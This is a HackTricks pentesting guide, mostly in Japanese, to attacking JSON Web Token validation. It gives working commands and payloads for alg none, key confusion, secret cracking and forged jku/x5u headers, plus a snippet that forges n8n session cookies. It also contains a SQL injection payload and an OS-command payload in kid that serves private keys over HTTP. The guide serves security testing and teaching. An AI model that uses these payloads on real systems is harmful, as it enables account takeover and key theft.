JWT Vulnerabilities (Json Web Tokens)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

この投稿の一部は次の素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTsをpentestする素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool

Quick Wins

モード All Tests!jwt_tool を実行し、緑色の行が表示されるのを待ってください

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

運が良ければ、そのツールはウェブアプリケーションが JWT を誤って検証しているケースを見つけます:

その後、proxy で当該リクエストを検索するか、jwt_ tool を使ってそのリクエストで使用された JWT を dump できます:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur を使って Burp から JWT attacks を実行できます。

実践的な JWT 評価ワークフロー

  • Scope the session control: ユーザー固有のリクエスト(例: profile, billing)を選ぶ。リクエストが拒否されるまでクッキー/ヘッダを1つずつ削除して、どのトークンが実際に認可を制御しているかを特定する。
  • Locate JWTs in traffic: JWT はしばしば Authorization: Bearer <JWT> に置かれるが、カスタムヘッダやクッキーにも現れる。Burp が強調表示しない場合は Target → Site map → Engagement tools → Search を使い、次のような正規表現で検索する:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decode and enumerate: Burp JWT Editor または python3 jwt_tool.py <JWT> を使って header/payload を読む。algexp/トークンの有効期間、及び authn/authz を左右するクレーム(role, id, username, email など)に注意する。
  • Signature enforcement sanity check: 署名部分の数バイトを反転または削除してリプレイする。受け入れられれば署名検証が抜けていることを示し、payload クレームを直接改ざんできる可能性がある。
  • Goal: payload クレームを変更して権限昇格を図ること。以下の攻撃はいずれも、脆弱な検証、弱いシークレット、または安全でないキー選択を悪用してサーバに改ざん済み payload を受け入れさせることを目的としている。

署名を変えずにデータを改ざんする

署名はそのままにしてデータだけ改ざんし、サーバが署名を検証しているか確認できる。例えば username を “admin” に変更してみる。

Is the token checked?

  • エラーメッセージが出る場合は検証が行われていることを示唆する。冗長なエラーに含まれる機密情報は確認する。
  • 返されるページが変わる場合も検証が行われていることを示す。
  • 変化がなければ検証が行われていない可能性があり、そのときに payload クレームの改ざんを試す。

発行元

プロキシのリクエスト履歴を調べて、トークンがサーバ側で生成されたかクライアント側で生成されたかを判定することが重要である。

  • クライアント側で最初に観測されたトークンは、キーがクライアント側コードに露出している可能性を示し、更なる調査が必要になる。
  • サーバ側で生成されているトークンは、より安全なプロセスを示す。

有効期間

トークンが24時間以上有効かどうかを確認する…場合によっては期限切れにならないこともある。exp フィールドがある場合はサーバが正しく扱っているか確認する。

HMAC シークレットのブルートフォース

See this page.

ヘッダが HS256 を使っている場合、トークンをファイルにダンプしてオフラインでクラッキングを試す:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

シークレットが回復したら、Burp JWT Editor に対称鍵として読み込み、改変したクレームに再署名します。

JWT シークレットを leaked config + DB data から導出

任意のファイル読み取り(またはバックアップ leak)で アプリケーションの暗号化素材ユーザーレコード の両方が露出した場合、平文パスワードを知らなくても JWT の署名シークレットを再生成してセッションCookieを偽造できることがあります。ワークフロー自動化スタックで観測された例:

  1. config ファイルからアプリキー(例: encryptionKey)を Leak する。
  2. user テーブルを Leak して email, password_hash, user_id を取得する。
  3. キーから署名用シークレットを導出し、次に JWT ペイロードで期待されるユーザーごとのハッシュを導出する:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. 署名済みトークンをセッションCookie(例: n8n-auth)に入れることで、パスワードハッシュがソルトされていてもユーザー/管理者アカウントを偽装できます。

アルゴリズムを None に変更

使用するアルゴリズムを “None” に設定し、署名部分を削除します。

Burp 拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JWT 内の異なる値を変更できます(リクエストを Repeater に送信し、“JSON Web Token” タブでトークンの値を変更します。 “Alg” フィールドの値を “None” に設定することもできます)。

RS256(asymmetric) を HS256(symmetric) に変更 (CVE-2016-5431/CVE-2016-10555)

アルゴリズム HS256 はシークレットキーを使って各メッセージに署名し検証します。
アルゴリズム RS256 はプライベートキーでメッセージに署名し、パブリックキーで認証を行います。

RS256 から HS256 にアルゴリズムを変更すると、バックエンドのコードはパブリックキーをシークレットキーとして使い、HS256 アルゴリズムで署名を検証します。

そのため、パブリックキーを使用し RS256 を HS256 に変更することで、有効な署名を作成できます。Web サーバの証明書は次の方法で取得できます:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

ヘッダ内に新しい公開鍵を埋め込む

攻撃者がトークンのヘッダに新しい鍵を埋め込み、サーバがその新しい鍵を使って署名を検証する(CVE-2018-0114)。

これは Burp の “JSON Web Tokens” Extension で可能です。
(リクエストを Repeater に送信し、JSON Web Token タブ内で “CVE-2018-0114” を選択してリクエストを送信してください)。

JWKS の偽装

以下は JWT トークン、特に “jku” ヘッダクレームを使用しているもののセキュリティ評価方法を説明しています。 このクレームは、トークンの検証に必要な公開鍵を含む JWKS (JSON Web Key Set) ファイルへのリンクであるべきです。

  • “jku” ヘッダを持つトークンの評価:

  • “jku” クレームの URL が適切な JWKS ファイルを指しているか確認する。

  • トークンの “jku” 値を制御下のウェブサービスに変更して、トラフィックを観察できるようにする。

  • HTTP 相互作用の監視:

  • 指定した URL への HTTP リクエストを観察できれば、サーバが提供したリンクから鍵を取得しようとしていることを示す。

  • このプロセスで jwt_tool を使う場合は、テスト用に自分の JWKS の場所を jwtconf.ini ファイルに更新しておくことが重要です。

  • jwt_tool のコマンド:

  • jwt_tool で状況をシミュレートするには、次のコマンドを実行します:

python3 jwt_tool.py JWT_HERE -X s

kid に関する問題の概要

オプションのヘッダクレームである kid は、特定の鍵を識別するために使用され、複数の鍵が存在する環境でトークン署名の検証において特に重要になります。 このクレームは、トークンの署名を検証するために適切な鍵を選択するのに役立ちます。

kid を使った鍵の特定

ヘッダに kid クレームがある場合、対応するファイルやそのバリエーションをウェブディレクトリで検索することが推奨されます。 例えば "kid":"key/12345" が指定されている場合、ウェブルートで /key/12345/key/12345.pem を探します。

kid による Path Traversal

kid クレームはファイルシステムを横断するために悪用され、任意のファイルを選択させる可能性もあります。 kid の値を特定のファイルやサービスに変更することで接続性をテストしたり、Server-Side Request Forgery (SSRF) 攻撃を実行したりすることが可能です。 元の署名を保持したまま kid の値を変更して JWT を改ざんするには、以下のように jwt_tool の -T フラグを使用します:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

予測可能な内容を持つファイルを狙うことで、有効なJWTを偽造することが可能です。例えば、Linuxシステムの/proc/sys/kernel/randomize_va_spaceファイルは値が2であることが知られており、kidパラメータに利用してJWT生成時の対称パスワードとして2を使用できます。

A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK k set to AA==, set kid to a traversal like ../../../../../../../dev/null, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.

脆弱なファイルシステムからのキー読み込みの実用的パターンとして、JWKのkAA==に設定してHS256キーを生成し、kid../../../../../../../dev/nullのようなディレクトリトラバーサルに設定して再署名する、という手法があります—一部の実装は空ファイルを有効なHMACシークレットとみなして偽造トークンを受け入れます。

SQL Injection via “kid”

“kid” を介した SQL Injection

If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

kid クレームの内容がデータベースからパスワードを取得するために使われている場合、kid ペイロードを改変することでSQLインジェクションが発生する可能性があります。JWT署名プロセスを変更するためにSQLインジェクションを利用した例のペイロードは次の通りです:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

この改変により、JWT署名に既知のシークレットキーであるATTACKERが使われることを強制できます。

OS Injection through “kid”

“kid” を介した OS Injection

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:

kid パラメータがコマンド実行コンテキスト内で使用されるファイルパスを指定するケースでは、Remote Code Execution (RCE) の脆弱性につながる可能性があります。kid にコマンドを注入することでプライベートキーを暴露することが可能になります。RCEとキー露出を達成するための例としてのペイロードは:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

x5u と jku

jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

jku は JWK Set URL の略です。
トークンが“jku”のHeaderクレームを使っている場合は、指定されたURLを確認してください。これはトークン検証に用いる公開鍵を格納したJWKSファイルを指すURLである必要があります。トークンを改ざんして、jku の値を監視可能なトラフィックのあるウェブサービスを指すようにします。

First you need to create a new certificate with new private & public keys

まず、新しいプライベートキーとパブリックキーを持つ新しい証明書を作成する必要があります。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

次に、例えば jwt.io を使って、作成した public and private keys を用い、パラメータ jku を作成した証明書に向けるよう指定して新しい JWT を作成できます。 有効な jku certificate を作成するには、元のものをダウンロードして必要なパラメータを変更してください。

public certificate からパラメータ “e” と “n” を取得するには:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

If the verifier fetches key material remotely, embed a Burp Collaborator URL in jku/x5u using JWT Editor → Attack → Embed Collaborator payload. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.

x5u

X.509 URL。PEM 形式でエンコードされた X.509(証明書フォーマット標準)公開証明書の集合を指す URI です。集合内の最初の証明書はこの JWT の署名に使われたものでなければなりません。続く各証明書は直前の証明書に署名し、これにより証明書チェーンが完成します。X.509 は RFC 52807 で定義されています。証明書を転送するにはトランスポート層のセキュリティが必要です。

Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.

自分が管理する証明書を使って新しいトークンを偽造するには、証明書を作成して公開鍵と秘密鍵を抽出する必要があります:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.

You can also abuse both of these vulns for SSRFs.

x5c

This parameter may contain the certificate in base64:

If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

埋め込まれた公開鍵 (CVE-2018-0114)

JWTに以下のように公開鍵が埋め込まれている場合:

以下のnodejsスクリプトを使用すると、そのデータから公開鍵を生成できます:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

新しい private/public key を生成し、新しい public key をトークン内に埋め込み、それを使って新しい署名を生成することができます:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

この nodejs スクリプトを使って “n” と “e” を取得できます:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

最後に、公開鍵と秘密鍵および新しい「n」と「e」の値を使って、jwt.io で任意の情報を含む新しい有効なJWTを偽造できます。

ES256: 同じ nonce を使った場合の秘密鍵の露呈

一部のアプリケーションが ES256 を使用し、同じ nonce を使って2つの JWT を生成した場合、秘密鍵を復元できる可能性があります。

ここに例があります: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

JTI (JWT ID) claim は JWT トークンの一意の識別子を提供します。トークンのリプレイを防止するために使えます。\ しかし、ID の最大長が4桁(0001–9999)に制限されている場合を想定してください。リクエスト 0001 と 10001 は同じ ID を使用します。もしバックエンドが各リクエストで ID をインクリメントしているなら、これを悪用して replay a request を行うことができます(成功する各リプレイの間に10000回のリクエストを送る必要があります)。

JWT 登録済みクレーム

JSON Web Token (JWT)

その他の攻撃

Cross-service Relay Attacks

一部のウェブアプリケーションがトークンの生成・管理のために信頼された JWT サービスに依存していることが観察されています。あるクライアント向けに JWT サービスが生成したトークンが、同じ JWT サービスの別のクライアントで受け入れられてしまう事例が報告されています。サードパーティのサービス経由で JWT の発行や更新が行われているのを確認した場合、同じユーザー名/メールでそのサービスの別のクライアントにアカウント登録できるかを調べるべきです。得られたトークンをターゲットに対するリクエストで再生して受け入れられるか試してください。

  • トークンが受け入れられる場合、任意のユーザのアカウントを詐称できる重大な問題を示す可能性があります。ただし、サードパーティのアプリでサインアップする行為は法的にグレーな領域に入る可能性があるため、より広範なテストを行うには許可が必要になることに留意してください。

Expiry Check of Tokens

トークンの有効期限は、Payload の “exp” クレームでチェックされます。JWT はセッション情報なしで使用されることが多いため、注意が必要です。多くの場合、他ユーザの JWT をキャプチャして再生することで、そのユーザになりすますことが可能になります。JWT の RFC は、“exp” クレームを用いてトークンの有効期限を設定することで JWT のリプレイ攻撃を軽減することを推奨しています。さらに、アプリケーション側がこの値を正しく処理し、期限切れトークンを拒否するチェックを実装していることが重要です。トークンに “exp” クレームが含まれており、テスト時間の制約が許す場合は、トークンを保存して有効期限切れ後に再生することを推奨します。トークンの内容(タイムスタンプのパースや有効期限チェック(UTC でのタイムスタンプ)を含む)は、jwt_tool の -R フラグで読み取ることができます。

  • アプリケーションが依然として当該トークンを検証する場合、トークンが永続的に有効であることを意味し、セキュリティリスクが存在する可能性があります。

ツール

  • jwt_tool – デコード、クレーム/ヘッダーの改ざん、オフラインでのシークレットクラッキング(-C)、および半自動攻撃モード(-M at)。
  • Burp JWT Editor – Repeater でのデコード/再署名、カスタムキーの生成、組み込み攻撃の実行(noneHMAC key confusionembedded JWKjku/x5u collaborator payloads)。
  • hashcat -m 16500 – JWT をワードリストにエクスポートした後の、GPU アクセラレートされた HS256 シークレットクラッキング。

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする